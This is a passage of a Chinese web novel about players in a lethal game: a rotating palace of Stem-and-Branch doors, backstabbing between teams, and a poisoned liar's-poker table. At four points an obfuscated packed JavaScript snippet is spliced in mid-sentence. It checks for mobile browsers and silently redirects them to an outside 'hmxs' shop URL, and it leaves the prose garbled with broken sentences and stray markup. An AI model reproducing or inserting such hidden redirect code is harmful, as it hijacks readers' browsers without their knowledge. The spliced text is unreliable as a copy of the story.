不远处传来其他玩家的惊呼,初与序走近最近的一扇【戊辰】门,手指刚触碰到门环,整座宫殿突然发出地城的轰鸣。所有人脚下的青砖微微震颤,蟠龙柱上的铜铃无风自动。六十扇雕花木门开始沿着环形宫殿缓慢旋转,门上的天干地支篆文在琉璃宫灯的映照下泛着金光。 初与序收回手,重新退到人群前方,选择按兵不动。 这么多玩家,无人敢轻举妄动。 “这鬼地方连个规则说明都没有。”随歌压低声音,用竹扇遮着脸。 几分钟过去,随歌戳了戳江意的手背:“意哥,要不去……” “别动。”江意的目光落在另一处,“看东北角。” 四人顺着他的目光看去,一个穿战术背心的男人终于按捺不住,猛地推开【庚午】门冲了进去。门在他身后关闭,下一秒,整座宫殿响起机械转动的“咔嗒”声。 五秒后,撕心裂肺的惨叫从四面八方传来,仿佛那个玩家同时在所有房间里哀嚎。鎏金门扉渗出鲜血,【庚午】二字突然变成暗红。 “草……”随歌张大嘴。 又过了五分钟,一个戴眼镜的女人颤抖着走向【癸亥】门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16201933|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她先警惕地扔了一块碎玉进去,等了几十秒,见碎玉安然无恙,才小心翼翼迈步踏入。门关上的同时,那块碎玉却突然熔化成青烟。 这次连惨叫声都没有,整扇门直接消失了,像是从未存在过。 冬逢初握住初与序的手腕,用耳骨夹通话:“观察影子。”初与序顺着他的目光看,发现【乙丑】门前的蟠龙柱影子比别的短三分。 “赌吗?”随歌用气音问。 初与序摇头。 远处齐无尽突然动了,他径直走向那根影子异常的蟠龙柱,然后在玩家们震惊的注视下,抬脚踹开了旁边的【丙寅】门。 门内传来清越的编钟声,他头也不回走了进去。门缓缓合上,没有惨叫,没有鲜血,没有消失,没有发生任何事。 初与序忽然拔出腰间的短刀,目光扫过四周那些鎏金篆文的门扉,开口:“《灯影诡村》的免死道具我还没用,我先随便进一个房间探路。” 四人互相对视一眼,想阻止,但现在只有这个办法,最终只是点了点头:“小心。” 初与序没再犹豫,径直走向一扇刻着【戊寅】的门,门上的鎏金篆文在幽光下泛着冷意。她深吸一口气,推门而入。 眼前的景象瞬间扭曲,再睁开眼,她站在一座古老的星盘中央,十二地支方位的地砖微微发亮。她似有所感地抬起头,自己头顶悬浮着十枚天干玉牌,在虚空中缓缓旋转。而正中央的石台上,一卷残缺的竹简被幽蓝火焰笼罩。 紧接着,地面突然震动,星盘开始错位移动。天花板上垂下无数银丝,每根丝线末端都系着一块刻着地支的青铜铃——【子】、【丑】、【寅】…… 机关开始启动,初与序迅速观察着变化。慢慢的,她注意到每当【甲】字玉牌转到【寅】位时,幽蓝火焰就会微弱一分。 “天干地支的对应关系……?”她低声自语。 突然,三支青铜箭从暗处射来。初与序侧身闪避,短刀击落一支。脚下的地面忽然出现裂痕,炽热的岩浆从缝隙中渗出。 她记得一些基础的五行相克,比如什么“甲木克戊土”,“庚金克乙木”。如果这个房间的机关与天干地支相关,那么…… 初与序猛地跃起,抓住【甲】字玉牌,狠狠砸向【戊】字位青铜铃。 “铛——!” 清脆的撞击声中,幽蓝火焰骤然熄灭。初与序一个箭步上前抓住竹简。 整个房间开始坍塌! 天花板碎裂坠落,地砖翻涌如浪,炽热的岩浆喷涌而出。初与序将竹简塞进面板,在崩塌的废墟中急速穿行。出口近在咫尺,却被坠落的石柱封住。 她抬起手,短刀灌注全力劈向石柱! 剧烈的“轰!”声,碎石飞溅间,她纵身冲出。身后,整个【戊寅】房间彻底坍塌,烟尘四起。 不远处,冬逢初等人已经快步赶来。初与序喘着气,从面板中取出那卷竹简,上面工工整整写着几个字: 《天干地支克要诀》 93.求求你们互相背刺吧 初与序将竹简平铺在青石地面上,泛黄的竹片上墨迹斑驳,但仍能辨认出古老的篆文: 【天干相克:】 「甲木克戊土,乙木克己土」 「丙火克庚金,丁火克辛金」 「戊土克壬水,己土克癸水」 「庚金克甲木,辛金克乙木」 「壬水克丙火,癸水克丁火」 【地支相冲】 「子午冲,丑未冲」 「寅申冲,卯酉冲」 「辰戌冲,巳亥冲」 【特殊注记】 「丙寅逢戊辰,可开甲子门」 「乙亥遇丁卯,必入死局」 冬逢初修长的手指轻抚过竹片,突然停在「甲木克戊土」处:“阿序刚经过的【戊寅】门,如果甲字对应的是……” 景明垂看向远处:“那边有间【甲子】门。” 话音未落,三个玩家正巧推门而入。 下一秒,整扇【戊寅】门突然渗出鲜血,门内传来骨骼碎裂的闷响。 “不止,地支相冲也会触发机关。”江意指向正在移动的辰门和戌门,“这两扇门正在互相吸引。” 随歌一脸懵:“叽里咕噜说啥呢?所以该怎么通关?总不能靠猜拳吧?” 他说这句话时,齐无尽正好从【丙寅】门走出,手中把玩着一块青铜残片,上面刻着【丙寅】二字。 初与序没立即回答随歌的问题,她站起身,目光扫过正在缓缓移动的宫殿布局。那些刻着天干地支的门扉并非无序移动,而是遵守着某种规律。 她忽然注意到一个细节。 每当【甲子】门移动到正东位时,【丙寅】门必定会停在西南角。每当【戊辰】门经过正北方向时,所有刻着【癸】字的门都会轻微震动, “不是猜拳。”初与序拔出短刀,在地上快速画出简图,“看这个。” 刀尖划出六十甲子的循环: 【甲子】门移动时,【丙寅】门永远在对称位。【戊土】相关的门移动速度比其他门慢三倍。每当两扇相克的门接近时,其中一扇会突然加速避开。 景明垂忽然指向正在经过的【乙亥】门和远处的【丁卯】门:“等等,竹简上说‘乙亥遇丁卯必入死局’,但这两扇门正在靠近。” 话音未落,【乙亥】门突然九十度翻转,将三个路过的玩家当头罩住。门内传来令人毛骨悚然的咀嚼声。 “好家伙。”随歌合上竹扇,“这门还带自助餐功能?” 江意抱臂皱眉:“我怀疑这些门在模拟六十甲子的时空循环。” 他话没说完,整座宫殿忽然像地震般剧烈震动起来,六十扇门同时发出刺眼的金光。初与序只来得及将竹简保护好,就被一股无形的力量狠狠甩向地面,在失重感的眩晕中,她看到其余玩家同样被力量卷走。 时空重置了。 天旋地转间,初与序感到自己重重摔在冰凉的石板上。背部传来剧痛,她疼得下意识倒吸一口凉气。睁开眼,发现自己躺在一间刻满星图的密室里。 江意半跪在不远处,另外六个玩家惊慌地爬起来,贴着墙壁,其中一人正疯狂地捶打着禁闭的门扉。初与序看见,玩家中一位女人,是屠宰场的成员, 初与序起身,环视四周。密室中央悬浮着一座精巧的青铜浑天仪,十二地支方位上各嵌着一枚发光的玉珠。穹顶投射下的星光在仪盘上交织成不断变化的卦象。 而地面上,密密麻麻堆着百具白骨。 每具骸骨的胸口都压着一块刻字的龟甲: 【甲子年误入生门】 【丙寅年错判相克】 【戊辰年贪生惧死】 最令人毛骨悚然的,那些枯骨的手指都保持着向前伸的姿势,齐齐指向浑天仪下方一块被血浸透的石碑,碑文仅剩半句可辨: 「知天机者……」 初与序蹲下身,用刀尖挑起一片尚未完全腐朽的布料,那是一件暗蓝色的棉布料。 “这是之前的玩家。”江意皱眉,眼底闪过一丝看不懂的情绪,缓缓移开目光。 密室突然轻微震动,浑天仪的玉珠开始加速旋转,星光在墙面上投射出变化的卦象。三个幸存的玩家中,戴耳钉的青年突然冲向浑天仪:“这肯定是机关!” “别碰!”初与序警告出声,但已经来不及了,青年的手指已经触碰到【子】位的玉珠。 玉珠裂开,露出里面蠕动的黑色虫群。青年发出凄厉的惨叫,那些虫子顺着他手臂疯狂上爬,所过之处皮肉瞬间腐化成血水。 江意的机械手环迸发出红光,扭曲的重力场将虫群暂时凝固在空中。初与序趁机拽起吓呆的两人退到墙角。 “看石碑背面。”江意低声道。 初与序翻身跃过浑天仪,在虫群突破重力场的时候瞥见了碑背上的刻痕。那不是文字,而是一幅简略的星位图。【甲木】、【丙火】、【戊土】三个符号被朱砂重点圈出,形成三角之势。 “天干三合……”她忽然明白了什么,短刀猛地插入浑天仪基座的缝隙,“意哥!【丙火】位!” 江意立刻领悟,抬手使用手环,精准击碎【午】位的玉珠。虫群突然僵直坠落,而浑天仪缓缓升起,露出下方幽暗的通道。 通道石壁上,布满了已经凝固的鲜血。 江意率先跃入通道,用手环的红光照亮前路。初与序回头看了一眼地面上堆满的上百具白骨,紧随其后。 通道狭窄潮湿,石壁上布满抓痕,像是曾有人绝望地试图从这里爬出去。身后,幸存的两人踉跄跟上,脚步声杂乱急促。 突然,只听“咔!”一声,脚下的石板猛地一沉,两侧墙壁开始合拢! “注意陷阱!”江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16206915|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意出声提醒,机械手环强行撑开一道重力屏障,延缓墙壁挤压的速度。 初与序的短刀狠狠刺入石缝,借力向前翻滚。可就在这一刻,她看到落在最后的屠宰场的女人,脸上浮现出狰狞的笑意。她猛地伸出手,将前面的同伴狠狠推向合拢的石壁! 那名玩家的惨叫声都没来得及喊出,半个身子瞬间被压碎,鲜血喷溅在通道内。而女人趁机踩着同伴的残躯,疯狂向前冲刺,甚至故意撞向江意之前受了伤的左臂! 初与序一把拽过江意,短刀横斩,逼退对方。 但机关已经彻底触发,头顶的石板开化寺崩塌。江意的机械手环能量再次耗尽,重力场彻底消失。 “走!”两人在千钧一发之际冲出通道,身后的女人也狼狈地翻滚而出。初与序反手一刀劈去,却被对方躲开。 眼前景象变换,他们回到了原先的宫殿! 六十扇门依旧在缓慢移动,仿佛刚才的生死一线只是幻觉。女人趁机窜入一扇【丁卯】门,消失不见。 江意咳出一口血:“让她跑了。” 宫殿的穹顶传来齿轮咬合的轰鸣,六十扇门同时停止移动。几个幸存的玩家从不同门内跌跌撞撞地冲出。景明垂和随歌从【庚申】门翻滚而出,前者琴弦上沾满冰霜,后者竹扇边缘焦黑。冬逢初则从【壬戌】门奔出,长剑拖出的血痕在青石板上蜿蜒。 “咳咳咳!老子差点变成烤串!这几天怎么全是火?!”随歌胡乱擦了把全是灰尘的脸,“这破游戏到底怎么玩?” 见初与序等五人活着回到了宫殿,林海几人站在角落里,脸色阴沉。 初与序快速扫视队友的状况,确认无人重伤后,立刻压低声音:“规则已经清除了。” 她用短刀在地上迅速画出简图:“天干地支相生相克,比如‘甲木克戊土’,若对手在【甲木】房间,而己方在【戊土】房间,则【戊土】房间的玩家会被强制淘汰。‘丙火生戊土’,若己方在【丙火】房间,则【戊土】房间会变成安全区,” “同时,每隔一段时间,宫殿会重置,所有人会强制随机分到不同房间。” 初与序的短刀在掌心转了一圈:“所以通关方法是,活着找到‘相生’门,避开‘相克’门,等系统宣布游戏结束。” “系统不会要等到只剩下一个玩家时才宣布游戏结束吧?”随歌咬牙道,“那可太缺德了。” 初与序收起短刀,看向宫殿内几十名玩家。他们彼此戒备地分散而立。除了屠宰场队伍里的,还有一个女人、手臂纹身的男人、三个联盟玩家,也一直暗中盯着他们。 随歌顺着她的视线看过去,用竹扇半掩着脸,压低声音:“规则说不能‘攻击’,但没说不能‘不小心’撞到人,对吧?” 是的,不能直接攻击,但不代表林海等人不想杀他们,也不代表其余玩家没有威胁。 94.求求你们互相背刺吧 五人聚在宫殿一角,借着鎏金门扉的阴影遮掩,迅速制定战术。 初与序将竹简摊开在膝头,手指划过每一行篆文。将【甲木克戊土】【丙火生己土】等关键生克关系烙印在脑海。完整的生克表在她脑中成形,连竹简烧毁的残缺部分都通过逻辑补全。 “记住了。”她合拢竹简,用短刀将上面的字迹划乱。 冬逢初看向远处五个正在争执,还时不时瞟向自己这边的玩家;“我去和北边那队结盟,他们缺治疗,我正好有随歌给的止血粉。” “小心。”初与序提醒。 冬逢初点头,长剑归鞘,一副温文尔雅的伪装姿态朝那边走去。随歌目送他的背影,压低声音朝三人说:“那我去给西南角那伙人添点乐子~听说【癸亥】门里会喷强酸?哎呀呀,得提醒他们里面有急救包……” 江意已经在地上画出了大致宫殿立体图:“我算过了,接下来三轮移动,【丙午】门和【戊戌】门会形成完美相生位。” “但需要诱饵。”景明垂突然看向正在靠近的屠宰场三个玩家,“不过他们来了。” 战术即刻执行: 冬逢初“恰好”带着新结盟的团队路过,温声提醒:“小心地滑。”接过下一秒,结盟队伍里的壮汉就“踉跄”着撞向那三个敌人。其中一个失衡跌向【庚申】门,门内突然刺出青铜长矛贯穿他的胸膛。 “哎呀!”随歌在不远处夸张惊呼:“这位大哥怎么自己往陷阱里摔啊?”他的竹扇“不小心”扬起灰尘,迷了另一个玩家的眼。那人痛呼着后退两步,正好踩到景明垂提前布置的琴弦。 琴弦弹起,那人仰面摔进【乙巳】门,门内传来啃噬声。 全程没有人动手,只是有人“站不稳”,有人“好心提醒”,还有人“恰好路过”。 但是,所有玩家慢慢地发现,整个宫殿开始崩塌。 巨大的石柱轰然断裂,原本稳定的青石地面裂开蛛网般的裂隙,炽热岩浆在裂缝间翻涌。六十扇门疯狂移动,仿佛整座建筑正在自我吞噬。仅剩的几十名玩家四散,躲避坠落的石块灰尘。 陷阱开始升级,而现在,选错门的代价不再是进入困难的陷阱,而是即死。 初与序看见一个玩家冲向【丁未】门,手指刚触碰到门环,整扇门就化作流沙崩塌。那人连惨叫声都来不及发出,就坠入无底深渊。 远处,几支玩家队伍趁机开始骚动。一个穿背心的男人朝初与序等人的方向大喊:“【甲子】门是生路!快进去!” 他的同伙立刻配合地冲向【甲子】门,却在临近时刻刹车,任由两个被忽悠的玩家撞进门内。下一秒,整扇门突然折叠收缩,将两人碾成血肉模糊的薄片。 另一侧,三个结盟的玩家正“焦急”地招呼:“快来【戊辰】门!这里绝对安全!” 可他们自己的脚却死死钉在门外半米,明显是在等别人当替死鬼。 而刚刚打算害江意的女人,正捂着流血的手臂,踉跄跑到冬逢初附近:“求求你们,【丙寅】门真的能通……”话未说完就“虚弱”地载倒,手却暗中拽向一旁景明垂的衣摆。 琴弦破空未来,女人伸出的手腕突然被“不小心”齐根切断。她呆滞地看着喷血的手腕,还没反应过来,就被景明垂又“不小心”绊了一跤,整个人仰面摔向正在溶解的【龟友】门。 “啊,救……”她的求救声戛然而止,门内伸出无数透明触须,将她拖入黑暗中。 此刻,整座宫殿只剩下钢筋铁骨般的幸存者。说谎的,设局的,还有将计就计的。 初与序忽然想起随歌之前说过的,五年前他和江意刚来永冬之城时,参加过一次团队赛后,两人整整三年都不愿再踏入团队赛。 那场比赛,江意和随歌临时与另外三个熟人组建了队伍,五人都是当时游戏里的高层玩家,掌握着关键资源。结果比赛开始不到一小时,有十五支队伍就默契地联合起来,不是把他们推入陷阱,就是打翻他们的物资。 就像现在,一个腹部被钢筋贯穿的玩家还拽着景明垂的琴弦,远处濒死的人用最后力气把火把扔向冬逢初的大衣下摆。 “他们疯了吗?”冬逢初打落火把,语气里带着一丝不可置信,“自己都快死亡了,还要我们和他们同归于尽。” “正因为要死了,才更不能让对手活着走出去。”江意面色苍白。 “快找到正确的那扇门!”远处有玩家呐喊催促,“不然我们所有人都要死在这里!” 宫殿的震动愈发剧烈,鎏金门扉上的篆文开始剥落,整座建筑仿佛正在崩解成碎片。 “找到了。”江意忽然开口,“【甲子之门】需要【丙寅】与【戊辰】两门同时开启,在宫殿重置的瞬间形成通道。” 初与序迅速扫视四周,【丙寅】门正在东北角缓缓移动,而【戊辰】门则位于西南侧,两扇门之间的夹角正在缩小。 “时间不多了,宫殿即将轮回,”冬逢初低声提醒。 随歌的竹扇“啪”地合上:“那咱就干票大的!” 五人迅速行动,景明垂的琴弦滑出,缠住【丙寅】门的门环,强行延缓它的移动。江意使用机械手环刚刚恢复的一点点能量,扭曲重力场,让【戊辰】门短暂停滞。 初与序率先冲向两门交汇的中央区域,就在宫殿重置的一瞬间,五人的身影同时踏入【甲子】门,被刺目的金光吞没。 等视线恢复时,初与序睁开眼。 眼前是一座占星台般的圆形空间,直径约三十丈的青玉地面上,阳刻着精密的天干地支轮盘。穹顶投射下的星辉在轮盘上流动,映照着六十甲子的符文。 “天机演算,轮回印证。” “破局者生,错算者湮。” 冰冷的机械音从四面八方传来,随歌蹲下身,好奇地用竹扇碰了碰地面。下一秒,地面突然分裂成十个扇形区域。每个区域边缘浮起三尺高的青铜柱,柱顶天干篆文泛着幽光。 初与序垂眸,刚迈入【甲】字区域,对应的【戊】字区立刻传来不祥的震动。 “退后!”她拽住正要迈步的随歌,紧接着,【戊】字区的青玉砖块如流沙般塌陷,露出下方翻涌的岩浆,热浪卷着硫磺扑面而来,随歌的裤脚差点被烧焦。 景明垂蹲下触摸地面,手指测触相邻的【丙】字区温度正常:“温度传导异常,相生路线应该是【甲】→【丙】→【戊】。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16206916|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不对。”冬逢初摇头,用剑尖点了点地面上的裂纹,“甲木生丙火,丙火生戊土。但甲木直接克戊土,必须走【甲】→【癸】→【戊】的相生链。” 初与序似有所感地回过头,发现十个区域正在缓慢旋转,原本的安全路径已被打乱。【癸】字区此刻正与【丁】字区重叠,形成危险的相克格局。 “跳过去!”她将短刀插进地缝固定身形,在区域旋转到合适的角度时,她纵身跃向【庚】字区。冬逢初长剑出鞘,剑风扫开飞溅的岩浆接应队友。 当最后落地的随歌惊魂未定地拍灭衣摆火星时,第一重考验的青铜柱已沉入地底。 “轰隆!”一声,十二根雕着地支神兽的墨玉柱破土而出。子鼠、丑牛、寅虎等生肖雕像的眼珠泛着红光,开始以诡异的规矩滑动。 初与序冷静分析现状:柱子在随机移动,若两柱相冲(如子午冲、丑未冲)相撞,站在附近者会被碾碎。现在必须找到无冲的安全路径。 她迅速推算地支关系:“辰戌冲,避开!走寅位!” 五人如游鱼般穿梭,景明垂的琴弦偶尔弹开逼近的柱子。那些对撞的玉柱爆出惊天巨响,飞溅的碎片将【午】马柱拦腰击断。随歌的竹扇及时展开,挡下射向冬逢初心脏的尖锐玉石。 当地柱最终静止时,尽头的黄金巨门显露出来。门上的金色符文缓缓流动,十个天干锁孔排列成圆,十二地支锁槽环绕在外,中央是一个凹陷的太极图,阴阳鱼眼处各有一个空缺,是最后的【甲子】核心。而在门下的地上,散落着刻着字的玉牌。 初与序盯着锁孔,低声道:“天干顺位,阳干先行。”她伸手从散落的玉牌中精准挑出【甲】字牌,嵌入第一个锁孔。 锁孔亮起青光,但紧接着,整个门框突然颤动,地面裂开细缝。 “错了?”随歌竹扇一展,随时准备后撤。 “不,是验真机制。”冬逢初按住他肩膀。 果然,三秒后,颤动停止,【甲】字锁孔彻底亮起。 江意迅速推算:“地支需配阳支,子、寅、辰……按序嵌入。” 门上的符文忽然开始扭曲,【丙】字玉牌凭空浮现。初与序刚打算伸手去拿,忽然在半空停住,反应过来:“这是幻象?” “雕虫小技。”随歌竹扇一挥,掀起气流吹散幻象。 五人对视一眼,不必多说,立刻行动起来。初与序嵌入【丙】、【戊】、【庚】、【壬】四块阳干玉牌;冬逢初同步插入【子】、【寅】、【辰】、【午】、【申】、【戌】六块阳支玉牌。景明垂控制琴弦织成防御网,弹开不断涌现的幻想陷阱。 就在最后一块【戌】字牌嵌入的下一秒,整扇门突然渗出鲜血! “我们算错了?”冬逢初下意识要拔出长剑。 初与序忽然拿出【壬】字牌,狠狠砸向错误的锁孔:“有陷阱!” 原来【壬】字牌早被调包成【癸】,阴差阳错会触发死局。她迅速更换真正的【壬】字牌,同时江意将最后两块太极鱼眼玉牌拍入阴阳鱼眼最后的【甲子】核心。 “轰!!!” 甲子之门洞开,刺目的白光中,五人一同冲入光芒。 95.求求你们互相背刺吧 白光散去,初与序踉跄一步,鞋底踩上了熟悉的地板,他们回到了宿舍。 六十张床铺静静排列,天花板的白炽灯刺得人眼睛发痛。紧接着,其他暗门接连弹开,幸存的玩家们狼狈冲出。有人跪地干呕,有人疯狂检查自己的四肢是否完好。而屠宰场的玩家也回到了宿舍,朝初与序等人露出一个阴险的笑容。 林海擦去脸上的鲜血,用口型一个字一个字说道:“等着吧。” 【第三场游戏存活人数:60/315】 齐无尽从最远的暗门走出,面无表情。 “恭喜各位。”纯黑制服的执行官不知何时立在宿舍中央,“第三场游戏结束。” 一队黑衣执行官走进来,手里拿着医疗包。他们沉默地穿梭在床铺间,为伤员包扎、缝合、注射止痛剂。没有嘲讽,没有威胁,甚至没有多余的眼神交流。 一个执行官停在初与序面前,递给她一卷干净的绷带和两瓶消毒水:“自己换。”说完转身离开。 “要我帮忙吗?”景明垂看过来。 初与序抬了一下胳膊,发现一动就疼,便点点头,任凭景明垂轻轻帮她处理血肉模糊的伤口。 随歌抬起手把盖在脸上的竹扇扒拉下来:“咱们五个命也太大了,这么折腾都没死。” “急什么,还有两天呢,说不定马上就命丧黄泉了。”齐无尽正拿一瓶消毒水往伤口上倒,冷飕飕道。 几人纷纷转向他,随歌翻了个白眼:“你说话能再难听一点。”他又想起来什么,“不过,你不是从来不参加团队赛吗?怎么这次来了?” “为了奖励品。”齐无尽淡淡道。 随歌若有所思地点点头,又凑近他:“哎齐无尽,上回来D栋抢向枝冥黑玉令牌的,是不是你的人?” “不是。”齐无尽面无表情。 “不是?” 这下四个人都懵了。整个永冬之城,即拥有进入D区权限,又可以在攻击玩家时不触发警报的人,除了齐无尽,还有谁? “你们记不记得上次在系统大厦见到的另一个【向枝冥】?”冬逢初开口,“有没有可能是他?” “他自己抢自己的东西干啥?”随歌合上竹扇,敲了敲脑袋,“不会是他没有吧?” 冬逢初点点头:“也有可能并不是他,而是和他同类的人。” “等下等下。”随歌一骨碌爬起来,“你的意思是,不止是向枝冥有第二个自己,我们也有可能有第二个自己?” 冬逢初耸耸肩,声音依旧温柔:“我不确定。” 初与序刚想开口,消毒水碰上伤口,她疼得皱眉“嘶”了一声。 执行官站在前方,声音平静:“各位,第四场游戏将在十小时后开始。所有玩家,立刻休息。” 没有抗议和抱怨,甚至连一声叹息都没有。宿舍内,六十名幸存者沉默地躺回各自的床铺。 初与序靠在床头,失明的右眼隐隐作痛。她侧头看去,景明垂闭目养神,呼吸平稳;随歌竹扇重新盖在脸上,胸口微微起伏;冬逢初守在江意床边,手指轻轻搭上他的脉搏,确保他的心跳依然平稳。 执行官们安静地退出宿舍,灯光调暗,只剩下走廊的应急灯映进来,在地板上投下长长的影子。 熟悉的起床铃把六十人叫醒,幸存者们纷纷睁开双眼,眼下黑眼圈浓重。初与序缓缓从床铺上坐起,景明垂在她邻床整理琴弦;角落里的随歌打着哈欠,黄毛乱糟糟的。 待所有人爬起,十二名黑色制服的执行官列队走入,为首者站定,声音平静缓慢: “各位玩家,下午好。” “第四场游戏:《骗子扑克牌》” 全息投影在空中展开,浮现出血色卡牌的立体影像。 “各位玩家将由系统随机分组,最少三人一组,进入独立房间,进行扑克牌游戏。轮流出牌并声明牌面,允许撒谎。而其他玩家可喊‘Liar’质疑。” “若质疑成功,撒谎者将进行俄罗斯轮盘赌,六发弹巢装一弹。若质疑失败,质疑者将抽取随机惩罚牌。” 投影切换成两张泛着幽光的卡牌: “以下是特殊牌:‘魔鬼牌’黑桃J,可触发群体惩罚,如全员点击、毒酒。‘天使牌’,红心A,可抵消一次质疑或惩罚。‘复制牌’,方片Q,可复制前一张牌效果。” 执行官突然举起左轮手枪,弹巢旋转的咔哒声令所有还没睡醒的玩家彻底清醒。 “一场牌局,最终存活人数可大于等于两人。弃牌者、不遵守规则者、擅自斗殴者,直接淘汰。” 紧接着,宿舍的金属墙壁突然发出低沉的机械运转声,一道暗门无声滑开,门后是望不到尽头的幽暗长廊,两侧排列着无数相同的铁门,每扇门都一模一样。 “请各位玩家五人一组上前,由执行官们带队随机进入不同房间。” 玩家们面面相觑,整个宿舍静了几秒,终于,第一批五人组迈步,跟着五位执行官走进长廊。 初与序五人站在人群边缘,沉默地看着这一幕。冬逢初伸手点了点耳骨夹,却发现他和初与序的耳骨夹连接被系统暂时切断。 第三批玩家被带走时,一个穿红裙的女孩突然尖叫着冲向暗门。执行官们同时转头,下一秒,女孩的颈环红芒暴涨,紧接着她的头颅猛地炸开。 随歌站在冬逢初身后,咬咬牙:“老天保佑,我们五人千万别和齐无尽那小子分到一组!也别和屠宰场他们几个分到一起!” “该我们了。”江意低声说。 初与序回过神来,不知何时,他们面前的玩家已经走光。五名执行官围住他们,示意五人进入暗门。 长廊仿佛没有尽头,上方角落的监视器闪烁着红光,两侧的铁门关紧。此刻游戏还没开始,任何声响都听不见。 幸运的是,冬逢初和随歌一组,江意和景明垂一组。但为初与序带路的执行官还没有停下脚步让她进入房间的意思。 走了大概五分钟左右,执行官忽然停在一扇门面前,声音低沉:“这间。” 这间房间的门与其他不同,门上雕刻着勿忘我花朵,初与序伸手推开,铰链发出声响。映入眼帘的是房间中央的墨绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16214385|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色赌桌,桌布上放着四副扑克牌。吧台边站着调酒师打扮的执行官,正在擦拭一把左轮手枪。 而她的队友已经就座。 赌桌左侧是一个穿铆钉皮衣的女人,正一边发呆一边咬指甲。右侧戴金丝眼镜的男人假装整理袖口,但袖管里藏着的刀片此刻正在反光。 但最令初与序烦恼的是,正对面的红发男人正是齐无尽。听到门响,他抬眸,和初与序对上视线。 初与序:“?” 倒霉熊不是已经停播了吗? 没办法,初与序只好反手关上门,在齐无尽对面的位置落座。 “欢迎来到赌命局。”调酒师“咔哒”一声合上左轮弹巢,“你们的房间有规则补充。” “每轮发牌前需饮一杯基酒,随机含毒概率30%。俄罗斯轮盘赌该用双发弹巢,2/6的死亡率。而魔鬼牌新增‘血祭’效果,可指定一名玩家代替承受惩罚。” “各位有争议吗?” 没人说话,初与序低头看了看桌面上,一共摆着三样东西:一叠未拆封的扑克,以及一杯琥珀色威士忌。 “游戏开始。” 冰冷的玻璃杯底磕在大理石台面上,发出清脆的声响,调酒师将四杯琥珀色液体依次推到玩家面前。 “第一轮基酒。”调酒师微笑,“祝各位……好运。” 30%的致死概率。 初与序余光瞥向皮衣女人,她正死死盯着自己的酒杯。戴金丝眼镜的男人突然剧烈咳嗽起来,手帕掩唇的时候,酒液已经悄无声息地浸入布料。 齐无尽却直接仰头一饮而尽,随后将空杯倒扣在桌上。“叮”的一声脆响,在寂静的房间里格外刺耳。 初与序端起酒杯,在唇畔停留片刻。酒液沾湿唇瓣的刹那,她突然改变原本的注意,手腕不明显地一斜。 在假装自己呛到的同时,半杯酒已经滑入袖口,被吸水的大衣吸收。留在舌尖的余味带着苦杏仁的芬芳,应该是□□特有的甜腥。 “真遗憾。”调酒师叹了口气,“本桌首轮无人中奖。” 女人失望地松开攥紧的拳头,男人则心虚地折起沾酒的手帕。齐无尽轻笑一声,修长的手指搭在牌堆上,指尖微微施力,扑克牌便如扇面般流畅展开。 他的动作很轻,几乎无声,但初与序能看出那双手的娴熟。扑克在他指间翻飞时,初与序注意到他的小指总会在特定角度微微上挑,每当这时,排序便会出现微妙的改变。 职业赌徒的手法。 “两张K。”齐无尽将两张牌推到桌中央。 初与序的目光落在他脸上,他的呼吸频率和表情没有任何变化。她立刻放弃了从微表情来判断齐无尽有没有撒谎。 皮衣女人显然也在思考他有没有撒谎,她的手指敲打着桌面,目光在齐无尽和牌堆之间来回游移。突然,她猛地拍桌:“Liar!我质疑!” 齐无尽没说话,只是缓缓翻开牌——一张黑桃K,一张红心K。 “质疑失败。”调酒师的声音带着几分愉悦,“请这位女士抽取惩罚牌。” 96.求求你们互相背刺吧 女人脸色煞白,颤抖的手指从惩罚牌堆中抽出一张。牌面翻转的下一秒,电流声“噼啪”炸响。是高压电流,她的身体剧烈抽搐,牙齿咬破嘴唇,鲜血顺着下巴滴落在赌桌上。 轮到女人出牌,她的手指还在不受控制地痉挛。她甩出三张牌,声音虚弱得几乎听不清:“两…两张A…” 